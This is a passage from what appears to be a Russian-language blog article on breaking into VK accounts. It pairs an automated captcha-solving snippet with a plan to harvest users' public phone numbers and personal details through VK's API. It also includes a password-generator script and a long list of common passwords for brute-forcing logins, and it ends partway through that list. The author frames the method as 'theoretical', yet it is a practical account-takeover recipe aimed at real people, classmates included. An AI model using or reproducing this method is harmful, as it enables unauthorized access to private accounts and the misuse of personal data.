    from vk_captcha import VkCaptchaSolver import random, asyncio solver = VkCaptchaSolver(logging=False)  # use logging=False on deploy async def captcha_solver():     sid = random.randint(122112, 10102012012012)     easy_captcha = False     url = f"https://api.vk.com/captcha.php?sid={sid}&s={int(easy_captcha)}"     answer, accuracy = await solver.solve_async(url=url, minimum_accuracy=0.4, repeat_count=10)     print(f"Solved captcha = {answer} with accuracy {accuracy:.4}") asyncio.set_event_loop_policy(asyncio.WindowsSelectorEventLoopPolicy()) asyncio.run(captcha_solver()) 

Ну и зачем весь этот сыр-бор?

Если, прочитав эту статью, вы задались вопросами по типу: «Ради чего это всё?», «Ради 20 рублей за 1000 капч?», то хочу вас «обеспокоить«, всё это было не зря. Мы будем взламывать вк.

Дисклеймер №2:

Все последующие действия являются чисто теоретическими. Автор статьи никого не взламывал и не совершал никаких других противозаконных действий; он всего лишь «придумал» теоретическую возможность по обходу защитного функционала VK.

Автор также не советует (и ни в коем случае не побуждает) вам совершать никаких противозаконных действий с кодом ниже: помните про уголовный кодекс.

Немного о брутфорсе в реалиях 2023 года

Наверное многих школьников, решивших взломать вк, посещала мысь: «а давайте просто переберем пароли, и взломаем одноклассни[цу]?». Но вся реализация упиралась в неё — капчу, выскакивающую после 3-5 запросов, которую VK добросовестно начинал показывать молодым «злоумышленникам«. Но теперь обойти 1 экземпляр этой защиты стоит нам всего 2мс, так что почему бы не провести «исследование» о том, насколько реально взламывать странички брутфорсом в 21 веке.

Кстати, VK до недавнего времени даже не чекал тайминги (да и вроде сейчас не всегда их проверяет): можно было решить капчу за 0.1 секунду, и, если она была решена правильно, нам честно давали ошибку, что пароль неправильный (или правильный).

Итак, первая идея, которая пришла мне на ум: «давайте, для получения информации, воспользуемся ОФИЦИАЛЬНЫМ API VK». Cмысл примерно такой: ищем аккаунты с публично указанным номером телефона и используем его как логин. Далее на основе других публично-личных данных (имени, фамилии, даты рождения, тех же данных их родственников/2х половинок) будем генерировать базу паролей для каждого конкретного пользователя

Скрипт генерации паролей на основе личных данных пользователя
 # Date: 02/23/2019 # Original passgen author: Mohamed # Some changed by: UnderMind0x41 # Description: A social engineering password generator # This script required python version >= 3.0 import argparse import sys   # 3.5k most popular passwords # TOP_PASSWORDS = {'legend', 'bandit', 'deedee', 'FREEDOM', 'ZAQXSW123', 'games12345', 'read10', 'Chevy1', 'madonna', 'nikkoz', 'sfactory', 'nikita', 'snowball', 'aqwert', 'macintos', 'WOODWORK', 'member_name', 'yoyoyo', 'cloclo', 'intern', 'saskia', 'wisdom', 'praise', 'happiness', 'animoto', 'vfhbyf', 'SKIPPER', '123321', 'jesuschrist', 'любовь', 'designer', 'racoon', 'vcxzfdsa', 'beetle', 'cccccc', 'asembler', 'qwerty33', 'newbie', 'rosebud', 'harold', 'Snowbal', 'camille', 'regusers', 'iloveaol', 'testtest', 'hollister', '87654321qwerty', 'DEPECHE', 'usrname', 'Jimbob', 'ACIDBURN', 'Tardis', 'sysadmin', 'hilary', 'qwerty4321', 'charles', 'canibal', 'reckah123', 'grover', 'Bowling', 'shorty', 'Cowboy', 'travel', 'Aa123456.', 'matthew1', 'loverboy', 'ncc1701d', 'knight', 'steaven', 'marines', 'irarref', 'upiter', 'christmas', 'liliana', 'imagine', 'rocky1', 'Tiffany', 'unstable', 'GIVEALL', 'logitech', 'liverpool1', 'romuluzz', 'user_n', 'Fishing', 'popeye', 'gateway', 'spammer', 'brooke', 'cecilia', 'victor', 'molson', 'userpasswd', 'megabit', 'goblue', 'impala', 'stargate', 'thunder', 'Tootsie', '987456', 'gustavo', 'MYICQUIN', 'hammer', 'sergei', 'myname', 'popcorn', 'benoit', 'aaaaaaaa', 'Chiefs', '66666666', 'FERRARI', 'sprite', 'stanley', '147258', 'MIR@nda', 'login_name', 'brewster', 'mystic', 'bright', 'dustin', 'thumbs', '143143', 'tatiana', 'CREATION', 'salvador', 'Sanders', 'artist', 'killem0l', 'tristan', '682995', 'winner', 'qweasdzxc', 'ИТЪВЯЛ', 'fireball', 'ilovehim', 'CHELSIA', 'trouble', 'GOBLIN', 'Justin', 'passwords', 'amelia', 'phoenix1', 'kelsey', 'zxcasd', 'linkinpark', 'penguin', 'administrator123', 'kermit', 'zxcdsaqwe11', 'mysql.user', 'hotchick', 'asdf', 'Spirit', 'esther', 'sarita', 'vputin', 'loveme2', 'August', 'Dustin', 'guinness', 'NOTEBENE', 'whatever', 'loser1', 'number', 'Soccer', 'charlie1', 'naruto', 'starter', 'tigers', '54321', 'emerpus', 'symbol', 'mywapis', 'Johnny', '12345qwe', 'administrat0r', 'Babies', 'icqpass', 'sailor', 'uoyevoli', '4444444', 'smashing', 'monster', 'pelusa', 'maria', 'vanilla', 'qwerty007', 'Basket', 'conrad', 'm@ster', 'Elwood', 'cxzasd', 'anyway', 'jackie', 'soccer1', 'p_word', 'blessed', 'drakula', 'converge_pass_salt', 'qazxswedcvfr', 'shanti', 'administrator', 'qcinigol', 'baltika9', 'indiana', 'emmanuel', 'qwerty2012', 'stinky', 'MIRANDA', 'Vampire', 'toyota', 'oldman', 'skaradub', 'red123', 'adminusername', 'scooby', 'niudekcah', 'gregory', 'nadine', '!QWERTY', 'beagle', 'cowboy', 'pogiako', 'daniel1', 'my_password', 'norton', 'oxford', 'powerman', 'ledzep', 'torres', 'broken', 'Shooter', 'electric', 'win2000', 'kittens', 'estrellita', 'schleker', 'ЪТИЖСЙ', 'college', 'orbita', 'monkeys', 'connie', 'patito', 'Lexus21', 'mitchell', 'princess', 'sysadmins', 'user_list', 'cyclone', 'sheena', 'sysusers', 'security', 'buttons', 'aimuin', 'frederic', '1qwerty1', 'dolphins', 'stupid', 'daniel', 'lockout', 'CAT&DOG', 'UNKNOVVN', 'babaytugur', 'guanli', 'Robert', 'ROBINGUD', 'testing', 'rafael', 'zxcvfdsa', 'admin_userinfo', 'alyssa', 'fantom', '1a2b3c', 'booboo', 'barbara', 'Smokey', 'QIP123', 'julian', 'clientname', 'moomoo', 'qazwsx', 'bigfoot', 'maganda', 'phoenix', 'tweety1', 'Grandma', 'screen', 'fantasy', 'guadalupe', 'spanky', 'potaptik', 'brithney', 'undead', 'angelita', 'barney', 'ramazik', 'molly1', 'administrator_name', 'Frosty', 'cantik', 'COVID19', 'Bigfoot', 'quake3', 'tarzan', 'gorgeous', 'wilbur', 'qwe456', 'yourmom', 'zxcdsa44', 'Shotgun', 'morena', 'bonnie', 'corazon', 'friendster', 'Arctic', 'genezis', 'hemmelig', 'ytinirt', 'explorer', 'gretchen', 'pma_table_info', 'monday', 'qwertyasdf', 'ALTENTER', 'secret12', 'qwert12345678', 'win2008', 'myself', 'davinchi', 'search', 'asdfghjkl', 'watermelon', 'Minnie', 'justine', 's@b@k@', 'mickey1', 'kevin1', '1q2w3e4r', 'Rooster', '9999999', 'vfrcbv', 'logini', 'bowwow', 'Hearts', 'install', 'lolipop', 'panther', '987654', 'КЧАНБЭ', '321123', 'qawsedrf', 'gerard', 'Chegg123', 'selena', 'pepper', 'PASSWORD', 'babylon5', 'usernm', 'mommy1', 'oatmeal', 'champion', 'SINISTER', 'MYICQ╧IS', 'benjamin', 'cinderella', 'iluvme', 'sasuke', 'marvin', 'VERSUS', 'xbox360', '1qaz!QAZ', '918273645', 'imissyou', 'LONGHORN', 'training', 'matrixfx', 'catalog', 'metropol', 'dominic', 'bonjour', 'rastaman', 'retupmoc', '312321', '3333333', 'nemezida', 'phoebe', 'love4ever', 'buster1', 'BATMAN', '01234qwerty', 'keywords', 'pacific', 'epidemic5', 'iof314', 'ghetto', 'foxtrot', 'user_pwd', 'ffokcuf', 'isabel', 'PRESSURE', 'BATNAN', 'pisces', 'mazda1', 'UserControl', 'ANARCHY', 'MYICQ#IS', 'hotstuff', 'kapusta', 'cooper', 'alt+0160', 'Dexter', 'userinfo', 'kramer', 'COURAGE', 'chester', 'asterix', 'kitkat', 'chemist', 'pidarast', 'covid-19', 'converge_pass_hash', 'station', 't-bone', 'legolas', '51905190', 'f00tb@ll', 'amigas', '131313', 'panthers', 'nastya', 'qzwxecrv', 'hacker', 'gerald', 'goddess', 'melvin', 'fatima', 'school', 'my_name', 'norman', 'Tolkien', 'tenretni', 'useradmin', '0987865', 'Yankees', '0qwerty', 'pass_hash', 'quality', 'lover1', 'Tazman', 'hahaha', 'tb_member', 'aaliyah', 'sysconstraints', 'musername', 'startrek', '5555555', 'steele', 'sweety', 'zxcasdqwe', 'venera', '12341234', 'kilemall', '1234567qwerty', 'wwwwww', 'ytrewq', '***Samson***', 'site_login', 'bethoven', 'unreal', 'denali', 'fucker', '%username%!@#$', 'cms_users', 'santos', 'jessie', 'phpadmin', 'cuteme', 'tiffany', 'metallic', 'Hatton', 'images', 'newcourt', 'porter', 'Killer', '696969', 'rosario', 'strawberry', '123zxc', 'magician', 'scrible', 'Xanadu', 'Brandi', 'nipper', 'australia', '007007', '1234qwerty', 'login_user', 'Johnson', 'yellow', 'October', 'qwertyu1', 'christina', 'PREDATOR', 'england', 'DOG&CAT', 'Covid2019', '246810', 'FORTUNE', 'redwing', 'penelope', 'robotech', 'staford', 'login_username', 'RAMSTEIN', '654321qwerty', 'Abcdef', '567890', 'admin12', 'america7', 'password12', 'Welcome1', 'google', 'formatC', 'analshit', 'tinkerbell', '!@#$%^&*()_+', 'spencer', 'dickhead', 'win2003', '1qw23e', 'ncc1701e', 'suzuki', 'марина', 'forall', 'support1', 'clipper', 'walter', 'Coolman', 'rebecca', '151515', 'summer1', '1435254', 'yamaha', 'NVIDIA', 'yxalag', 'fisher', 'ginger', 'pa$$1234', '123qweasdzxc', 'ashley1', 'debbie', 'lester', '@administrator', '1234qwert', 'accept', 'jeanne', 'blizzard', 'billabong', 'user_level', 'mighty', 'niceday', 'xuyxuy', 'sharon', 'Chester', 'joshua1', '987654321qwerty', 'french1', 'jasper', 'LOCHNESS', 'robert1', 'Airhead', 'francois', 'unicorn', 'scooter', 'carlos', 'darling', 'nebraska', 'arlene', 'w1w2w3', 'lorenzo', 'buldog', 'angels', 'remember', 'russell', 'kimberly', 'ЛЮПХМЮ', 'michel', 'pass_word', 'Walleye', 'gatita', 'film@123', 'undertaker', 'qwerty1992', 'bigred', 'asdfgh', 'thomas', 'MONSTER', 'jewels', 'alison', 'elizabeth1', 'single', 'adidas', 'pascal', 'filosofy', 'sting1', 'Gunner', 'rachel', 'florida', 'mihaela', 'racerx', '102030', 'maradona', '12qwerty12', 'nargiz', 'bonita', 'cartoon', '753159', 'NAPOLEON', 'dsadsa', 'grumpy', 'claudia', 'kristin', 'lovelove', 'fuckyou', 'JSBach', 'yfnfif', 'Emmitt', 'mariah', 'felipe', '33333333', 'badboy', 'booger', 'friends1', 'jasmine1', 'columbia', 'cougars', 'member_login_key', 'nesbitt', 'sister', 'lestat', 'Reader', 'emanuel', 'princesa', 'dancer', 'sweetie', 'metallica', 'scotty', 'players', 'ИЖСЙЕМЦЬ', 'happyday', '123456q', 'qwer123', 'Gemini', 'sophia', 'admins', 'eminem', 'john316', 'altctrl', 'user_login', 'supreme', 'ИТЪВШЖ', 'denise', 'charlotte', 'tamara', 'svetik', 'CYBORG', 'madrid', 'newuser', 'PRINCESS', 'Chicago', 'adminpass', 'mem_pass', 'P@SVVORD', '21qwerty', 'customer', 'playgirl', 'WIZARD13', 'aqswdefr', 'number1', 'Honda1', 'bond007', 'newsid', 'AAAAAA', 'gasman', 'viper1', '59trick', '888888', 'wolverin', 'mahalko', 'CHANEL', 'qazqaz', 'content', 'shadow', 'PUSSYCAT', 'esmeralda', '123789', 'welcome', 'strawber', 'doogie', 'dragon1', 'Speedy', 'Melissa', 'conner', 'buster', 'nicole1', 'Aikman', 'BON_JOVI', 'UNIVERSE', 'topher', 'STATIC', 'tequieromucho', 'jenjen', 'user_pword', 'bettyboop', 'micheal', 'mookie', 'perfect', 'alisha', 'valhalla', 'taylor', 'ecuador', 'ACHTUNG', '168168', 'emerald', 'password2', 'deadhead', 'julie1', 'shogun', 'ENTRANCE', 'Sparky', 'marissa', 'francis', 'mylife', 'porsche9', 'terminal', 'sexylady', 'caesar', 'naughty', 'Lakota', 'ashlee', '020202', 'Pacers', 'CyberL0rd', 'lalala', 'emailaddress', 'talisman', 'windows2003', '0123456789', 'maggie', 'megalol', '01qwerty', 'sunset', 'member_id', 'factory', 'jessica', 'spitfire', 'creative', 'lollipop', 'Maddock', 'zxcdsaqwe12345', 'monkey', 'snowman', 'azsxdcfv', 'slipknot', 'shveden', 'douglas', 'zxcvbnm,', 'nirvana1', 'teddy1', 'packard', 'miranda3', 'hayden', 'pasaway', 'graymail', 'usr_pw', 'salmon', 'marie1', 'friends', 'celica', 'il0vey0u', 'sapphire', 'alex13', 'nathan', 'People', 'Stacey', 'un1ver$e', 'coffee', 'miguel', 'scooter1', 'indigo', 'Teacher', 'pa$$word', 'slacker', 'area51', 'friday', 'OVERRIDE', '7897984', 'MAXPAYNE', 'boomer', '1234565', 'anderson', 'zhongguo', 'Runner', 'REGISTER', '1111111', 'stallone', 'fitness', 'format_c', 'immortal', 'Reebok', 'scuba1', 'teddybear', 'bitch1', 'aquarius', 'winston', 'dodgers', 'Kathryn', 'pinkfloy', 'Sports', 'banane', 'capricorn', 'elliot', 'gracie', 'kitten12', 'Martha', 'whisky', 'lindsey', 'eclipse', 'asdcxz', 'minnie', 'batman', 'katrina', '999999999', 'duckie', 'user_usernun', 'invalid', '123456qwerty', 'ctrlalt', 'cougar', 'maxime', '9876543210', 'condom', 'jeremy', 'Dakota', 'micros', 'cowboys', '!pwd@ti', 'jackson', 'METAFORA', 'Blazer', 'zxcdsa33', 'cookie1', 'holland', 'daytek', 'Little', 'tigger', 'catwoman', 'timothy', 'Knights', 'johnny', 'Author', 'tb_user', 'epidemic1', 'usrpass', 'inuyasha', 'user_ip', 'lastname', 'camilo', 'bebita', 'love12', '00000000', 'chacha', 'diablo', 'Bookit', 'MODERN', 'debbuger', 'usr_nusr', 'control', 'laptop', 'abcdef', '123abc', 'daniela', 'pantera', 'blowfish', 'celeste', 'pangit', 'pierce', 'elijah', 'hector', 'maribel', 'Malibu', 'memberlist', 'victory', 'august', 'silence', 'techno', 'rockon', 'cristo', 'thomas1', 'Kinder', 'spacer', 'abcd1234', 'jessica1', 'leningrad', 'temppass', 'adrian', 'phpmyadmin.pma_table_info', 'wp_users', 'controle', 'navalny', 'aaaaaa', 'GLOBUS', '0123qwerty', 'adminlogin', 'Science', 'Vikings', 'animals', 'nubobap', 'psalms', 'Rodman', 'stephen', 'loveyou', 'richard', 'epidemic', 'chichi', 'sweetpea', 'victoria', 'qazwsxed', 'adress', 'SCORPION', 'online', 'qwerty21', 'DROWPASS', 'master1', 'cookie', '000000', 'glitter', 'killer', 'chimaira', 'Fluffy', 'GARBAGE', 'myspace1', 'vampire', 'wkarlo', 'Heather', 'pallmall', 'tb_login', '1234qwer', 'macafee', 'snoopdog', 'carter', 'dayana', 'Raistlin', 'covid2020', 'poopoo', 'corwin', 'dogbert', 'Shorty', 'Champs', 'test1234', 'KITANA', 'hal9000', 'klepan', 'blasphem', 'chrissy', 'Kristy', 'politics', 'katherin', 'mypassword', 'remal321', 'tr1n1ty', 'ИЖСЙЕМТШБЮ', 'Broncos', '161616', 'dolphin', 'bird33', 'micron', 'health', 'eduardo', '2cute4u', 'family', 'COLUMBUS', 'connor', 'indian', 'CTRALTDL', 'sweamer', 'qwerty0123456789', 'thx1138', 'vision', 'leslie', '88888888', 'Braves', 'harvey', 'ICECUBE', 'Farmer', 'rossia', 'pass_w', 'maverick', 'market', 'martini', 'nursing', 'brutus', 'mariana', 'speedo', 'cristina', 'godzilla', 'septembe', 'Surfer', 'hotgirl', 'qwerty123456', 'bigman', 'bigdog', 'rtyuiop', 'Blowme', 'butthead', 'alfred', 'pearljam', 'Friends', '1q2w3e4r5', 'troppus', 'system32', 'michele', '080808', 'Hornets', 'nemezis', 'Hanson', 'pokemon', 'people', 'temporal', 'tester', 'september', 'Number1', 'reggie', 'cc_number', 'dubsmash', 'superman', 'leonardo', 'kittykat', 'hctib123', 'passvord', 'trident', 'laskovaja', 'mailman', 'outbrake', 'santiago', 'mariposa', 'martin', '4815162342', 'u_name', 'zaqxswcde', 'my_email', 'mememe', 'insane', 'flymode', 'xar_pass', 'avrets', 'orgazm', 'catalina', 'junior', 'Digger', 'userpw', 'status', 'b00ster', 'anthony', 'forever', 'hernandez', 'trebor', 'mycomputer', 'wonder', 'Rhonda', 'lavender', 'qwert123', 'qazxsw', 'marina', 'bianca', 'elephant', 'Griffey', 'number9', 'jaguar', 'CIVILIAN', 'dinozavr', 'cuteako', 'sagitario', 'nellie', 'apollo13', 'slideshow', '112233', '242424', 'iloveu', 'arizona', 'VOODOO', 'iloveu2', 'Nicole', 'maracle', 'idontknow', 'gatito', 'sparrow', 'rodrigo', 'samson', 'besadmin', 'martinez', 'iloveme', 'charlie', 'myicq#', '59mile', 'Espanol', 'cinder', 'Mickey', 'busted', 'SATANA', 'bubblegum', 'Passw0rd1', 'copernic', 'cyrano', 'christian', 'DEFAULT', 'МЮРЮЬЮ', 'firefox', 'bullshit', 'backupexec', 'Packer', 'userpwd', 'philosof', 'teiubesc', 'LEXICON', 'madman', 'mierda', 'isadmin', 'britney', 'babyboo', 'ubludok', 'jayson', 'g_czechout', 'Kitten', 'Hockey1', 'natalie', 'cybernet', 'UNKNOWN', 'Doggie', '00000', 'colleen', 'honey1', 'truelove', 'business', 'mistica', 'shaggy', 'softball', 'michael.', 'alexis', 'loginkey', 'manson', 'brandy', 'putin01', 'Clover', 'cerber', 'MAZAFAKA', '741852963', 'shopping', 'athena', 'marlboro', 'Compute', 'Retard', 'максим', 'Speech', 'caitlin', 'SCROLL', 'barbie', 'shithead', 'parola', 'q1w2e3r4t5y6', 'ЛЮЙЯХЛ', 'Cheryl', 'kisses', 'passwd', 'Marshal', 'babygurl', 'Orlando', 'Zxcvbnm', 'booster', 'summer', 'israel', 'adminpsw', 'user_username', 'ststic', '7758521', 'db_hostname', 'user_pwrd', 'mem_pwd', 'shleker', 'Topgun', 'systime', 'cuteko', 'willow', 'KILLEMOL', '1234qwerty1234', 'dragon', 'genesis', 'nguyen', 'crystal', 'pedofil', 'ballet', 'pass1234', 'sakura', 'challeng', 'domino', 'SOLDIER', 'murphy', 'laikos', 'spongebob', 'stefan', 'weapon', 'Spunky', 'ETERNITY', 'marshall', 'LUCKY123', 'chicken', 'teacher', 'VURDALAK', 'jason1', 'yomama', 'йцукен', 'theatre', 'lourdes', 'Russel', '][aker13', 'heather', 'manage', 'soleil', 'brittany', 'energy', '444444', 'qwerty12345', 'donald', 'Maddog', '1234567qwert', 'Skinny', 'orchid', 'Button', 'star69', 'freddy', 'hannah', 'volleyball', 'impotent', 'abc123', 'monopoly', '22222222', 'magnum', '741852', 'fi$her', 'NATURE', 'sammie', '784512', 'telecom', 'marisa', 'alexande', 'claire', 'lizzie', 'gandalf', 'MYZTIC', '576823', 'a1b2c3d4', 'akrmaz', 'sweetness', 'musica', '@#$%^&', 'alfredo', 'ramona', 'EXORCIST', 'Monica', 'session', 'Cleaner', 'intrepid', 'Windows', 'jackass', 'ACT_INFO', 'lovely1', 'p_assword', 'personal', 'adminroot', 'asdfghj', '2222222', 'qazedc', 'lauren', 'MUDVIN', 'president', 'Footbal', '123qwe', 'xxxxxx', 'andrew', 'jamaica', 'computer', 'setting', '12345', 'aylmer', 'admin_pwd', 'lorraine', 'wright', 'spiderman', 'lupita', 'georgia', 'Groovy', 'isabelle', 'ramirez', 'memlogin', 'iverson', 'johanna', 'beautifu', 'sexybitch', 'dratsab', 'webusers', 'sunny1', 'jasmine', 'topcat', 'workgroup', 'teamomucho', 'Farming', 'million', '12345678qwerty12345678', 'copper', 'millie', 'anonymous', 'zephyr', 'somsoc', 'zenith', 'Challenge', 'christia', 'format', 'Killme', 'nascar', 'qwerty1234', '8888888', '123qwerty123', 'Cooper', 'sb_admin_name', 'renegade', 'chrisbrown', 'michael1', '01234567qwerty', 'phantom', 'susana', 'qw1234er', 'covid19', 'wolfMan', 'blink182', 'qwerty012345678', 'Alicia', 'Senior', 'AndrewK', '895623', '171717', 'scruffy', 'trustno1', 'account', 'Froggy', '1234', 'usr_pass', 'trixie', 'hershey', 'amigos', 'bluesky', 'kissmyass', 'edonkey', 'malcolm', 'darwin', 'user_id', 'sparkle', 'eastwest', 'psycho', '!@#$%^&', 'Jimmy2503', 'site_logins', 'butterfly1', 'stealth', 'astrix', 'Uragan-75', 'access', 'samsung', 'michael', 'APACHE', 'shvine', 'yellow1', 'membername', 'RUNDLL32', '1q2w3e*', 'project', 'potter', 'anyone', 'id_member', '123456789', 'justme', 'qwert1', 'qwerty012345678910', 'cms_admins', 'Squirt', 'bhebhe', 'TEACHERS', 'sweet1', 'COVID19_Access', 'mifesto', 'axszdvfc', 'Subjects', 'reg_users', 'letmein', 'doctor', 'zxcdsa11', 'AOL123', 'zaqxsw', 'janelle', 'outlook', 'kleenex', 'adminpassword', 'Hotrod', 'julius', 'amfibia', 'christopher', 'adminupass', 'sharona', 'ИЖСЙЕМ', 'godisgood', 'marcela', 'sammy1', '789321', 'barclay', 'skyline', 'adminpwd', 'diamonds', '12345qwerty12345', 'inside', 'sunshine', 'amores', 'hybrid', 'direct1', 'enrique', 'europe', 'claude', 'Skidoo', 'phillip', 'darkangel', 'iubire', 'dakota', 'patrick', 'nautica', 'juliana', 'firebird', 'cheche', 'mutation', 'Tanner', 'INVISIBL', 'login_password', 'dr0wp@ss', 'xfiles', 'FIREWALL', 'sonbitch', 'jayden', 'Fender', 'beautiful1', 'System', 'engineer', '123', 'pe_user', 'corona', 'lovehurts', 'Vanessa', 'artdesign1', 'ariana', 'castillo', 'babyphat', 'football', 'incubus', '520520', 'family1', 'therock', 'mcafee', 'qwerty11', 'syssegments', 'zxcdsaqwe22', 'miranda1', 'marisol', 'grandma', 'amanda', 'members', 'ZUNAMI', 'qwerty87654321', 'princesita', 'sexy123', 'weasel', 'hermosa', '@sysadmin', 'Cowboys', 'picture', '123ewq', 'etoile', 'chicken1', 'f1ref0x', 'hansolo', 'cms_user', 'sunofvault', '6666666', 'nonamer', 'daddy1', 'Action', 'Hobbit', 'usr_name', 'test1', 'sabak@', 'richman', 'q1w2e3e4', 'suport', 'Wolves', '50cent', 'wanker', 'coronavirus', 'briana', 'adminid', 'coronavirus1', 'Brasil', 'andreea', 'user_usernm', 'crazymen', '222222', 'paradise', 'tricia', 'asshole1', 'flamingo', 'Wildcat', 'cxzcxz', 'avalon', 'newyork', 'larry1', 'seven7', 'joyjoy', '10pace', 'majordom', 'serenity', '159159', 'babygurl1', 'freak1', 'Biology', 'Drizzt', 'classroo', 'superstar', 'linkin', 'pentium', 'quebec', 'austin', 'daddysgirl', 'CLEVERMAN', '!@#$%^&*(', 'Animal', 'habibufc', 'danica', 'saturday', 'gabrielle', 'Sidney', 'joanna', 'JEREMY', 'FORMATC', 'lecasolo', 'Tweety', 'nimrod', 'zaxscd', 'houston', 'Jessie', 'absolut', 'southside', 'cancer', 'pebbles', 'marine', 'asdfjkl', 'helena', 'puppies', 'sexy12', 'archie', '77777777', 'Browns', 'BigBird', 'shutup', 'cemetery', 'kelvin', 'cocacola', '44444444', 'cwsiadmin', 'majestic', 'user_pass', 'utopia', 'anamaria', 'Packers', 'user_passw', 'tequila', 'redrum', 'tucker', 'judith', 'taurus', 'g0dm0de', 'punkin', 'login_pass', 'purple', 'nopassword', 'killer66', 'iloveyou', '333333', 'cheerleader', 'lucky1', 'snuffy', 'camaro', 'inlove', 'zaraza', 'Phillip', 'Voyager', 'bugsbunn', 'qazzaq', 'baseball1', 'solemn', 'jordan1', 'zeppelin', 'celticfc', 'наташа', 'greenday', 'shadow1', 'taylor1', 'xavier', 'ronnie', 'Hockey', '1234567', 'per$on@l', 'Reading', 'viarif', 'manutd', 'sassy1', 'converse', '99999999', 'please', 'batista', 'alberto', 'jesucristo', 'cms_admin', 'Rebels', 'hottie', 'krystal', 'newcastle', 'oliver', 'ariane', 'pookie1', 'reg_user', '112112', 'ИТЪВШЖСБЯ', 'Chrissy', 'tbladmins', 'scream', 'wednesda', 'loveme1', 'Ginger', 'alex78', '12348765', 'motorola', 'marcel', 'zxcdsa12345', 'Lennon', 'reckah321', 'sentenced', '123456a', 'article', 'qwerty123456789', 'playboy1', 'flores', 'login_passwd', 'angelina', 'loveme', 'MUSTANG', 'deffer', 'velvet', 'jayjay', 'xar_name', 'fabiola', 'baran123', '232323', 'detroit', 'brandon1', '147852369', 'jordan23', 'Beavis', 'hottie1', 'baseball', '1314520', 'support3', 'Beaner', '888999', 'nnallex', 'eagle1', 'gfhjkm', 'laddie', 'thumper', 'Purple', 'desiree', 'superman1', 'tarantul', 'labtec', 'Dwight', 'happy1', 'kissme', 'babycakes', 'taytay', 'COLORADO', 'birthday', '54321qwerty', 'SATANIC', 'qwerty7654321', 'qweqwe', 'bethany', '224466', 'iloveyou!', 'eagles', 'Frankie', 'kostikd', 'love123', 'Hotdog', 'dioretsa', '1111111111', 'Passwor', 'dollar', 'birdie', 'shelley', 'ashley', 'f00tball', 'abigail', 'benfica', 'gocougs', 'brenda', 'marley', 'stella', 'qwerty012', 'corrado', 'iloveyou2', 'william1', 'sunshine1', 'LocalAdministrator', 'ОЮПНКЭ', 'qwe12345', 'admin123456', 'biteme', 'CHANNEL', 'ranger', 'h2opolo', 'hannah1', '1q2w3e4r5t6y', 'oligarch', 'Snoopy', 'Volley', 'Buttons', 'isabella', '7758258', 'qwertyasdfg', 'amelie', 'cheese', 'jonathan', 'redface', 'diosesamor', 'tekiero', 'krovatka', 'rabbit', 'admin_password', 'huiznaet', 'brooklyn', 'rochelle', 'depurple', 'pass1word', 'qwertyui', '968574', 'Weezer', 'dennis', 'disney', 'amistad', 'adminadmin', 'dianita', 'Tractor', 'mississippi', 'andres', 'GoddoG', 'qwert123456789', 'user_info', 'loulou', '456321', 'beatriz', 'sonofАХВ', 'promethe', '1qwerty', 'fozzie', 'puppy123', 'mishka', '%username%1', 'user_passwd', 'Wheels', 'saturn', 'CatdoG', 'gilles', 'gofish', 'bluebird', 'user_name', 'maryjane', 'smiles', 'babydoll', 'mortal', 'pandora', 'pirate', 'ytrewq321', 'republic', 'user_pw', 'screen10', 'juventus', 'Nirvana', '!@#$%^&*', 'FLIGHT', 'qwerty', 'qwerty01234', 'snoopy', 'deliver', 'medical', '1qazxsw2', 'Coronavirus2020', 'esteban', 'Sendit', '159357', 'kenneth', 'megadeth', 'ph4ntom', 'Password1', 'sabrina', 'clubconfig', 'sergio', 'hawaii', 'valerie', 'valentina', 'qwerty0', 'sysuser', 'fapfap', 'herbert', 'SADAMAZA', 'qweasd', '9379992', 'qwerty44', 'ufolog', 'cjkysirj', 'propu$k', 'lovelife', 'SCHWARZ', '1qaz2wsx3edc', 'damian', 'adminemail', 'casino', 'Puckett', 'vfa1993', 'qwertyy', 'sunbird', 'hotdog', 'enigma', 'xcountry', 'tequiero', 'eeyore', 'worked', 'purple1', 'attila', 'eXtreme', 'analsex', 'angel123', 'qazxswedc', 'niger13', 'marcos', 'father', 'chinita', 'miamor', 'skater', 'Trucks', 'P@$VVORD', 'ase4ka', 'tigger1', 'informix', 'catfish', 'jordan', 'привет', 'tintin', '1qaz2wsx', '0987654321', 'dedicated', 'carole', 'amorcito', 'trinity', 'gerrard', 'Travis', 'beauty', 'Library', 'Carlos', 'kitten', '0000000', 'dr0wp@$$', 'MORBID', 'thebest', 'christy', 'hermes', 'chelsea', '%null%', 'logical', 'sunday', 'slipknot1', 'buttercup', 'backup', 'roberto', 'ncc1701', 'handsome', '794613', 'pickle', 'joseluis', 'shakira', 'charlene', '111222', 'ILOVEYOU', 'bailey', 'QWERTY!', 'qwerty12345678910', 'sidorov', 'pandemic1', 'Carrie', 'nemesis', 'sanjose1', 'darren', 'fuckyou2', 'LUNATICK', 'kingfish', 'Bananas', 'config', 'chubby', 'martin1', 'yonghu', 'nopassw', 'cascade', 'chiquita', 'sexyme', 'dragonfl', 'Passwort', 'brittney', 'sunflower', 'a12345', 'joseph', 'Eagles', '123qwerty', 'ZXCZXC', 'rsetprofy', 'everyday', 'tuesday', 'terminator', 'Polaris', 'january', 'nicolas', 'iloveme1', 'mirage', 'test123', 'cutegirl', 'belamor', 'robbie', 'paganini', 'latina', 'ewqewq', 'fountain', 'Converse', 'quake4', 'adminservers', 'cristian', 'melissa', 'miranda', 'easter', 'q3rulez', 'P@ssw0rd', 'sierra', 'concept', 'ronald', 'babyboy', 'arthur', 'qwerty00', 'Larson', 'SADIST', 'Trixie', 'shannon', 'THUNDER', '7654321qwerty', 'Silver', 'lipgloss', 'foobar', 'thething', 'dianne', 'kaitlyn', 'qqqqqq', 'frances', 'niners', 'Flyers', 'friend', '012345678', 'pretty', 'chris1', 'janice', 'zinch', 'babyblue', 'default', 'cannabis', 'dominique', 'Looney', 'SCOOTER', 'Raider', 'qsawefdr', 'ph@nt0m', 'Dolboeb', '666888', 'bernie', 'margarita', 'sexymama', 'pretty1', 'mauricio', 'dallas', '123456', 'bubbles', 'covid192020', 'mem_login', 'MERCEDES', 'notused', 'sterva', 'ferrari', 'VUDUMEN', 'blossom', 'france', 'bradley', 'windows', 'seomas', 'fuck_off', 'Jaeger', 'mem_password', 'celtic', 'courtney', 'curtis', 'services', 'philip', 'ИЖСТШБ', 'edcxsw', 'qwaszx', 'Viking', 'db_password', 'George', 'myhome', 'werter', 'rahasia', 'destiny', 'userip', 'db_username', '123456qwert', 'success', 'Charmed', 'kitty1', 'last_login', 'Hamster', 'Helpme', 'Hawaii', 'californ', 'superadm', 'webadmins', 'rascal', 'nothing', 'Leslie', 'Covid-19', 'zenitsk', '321654987', 'beatles', 'mickey', 'hollywood', 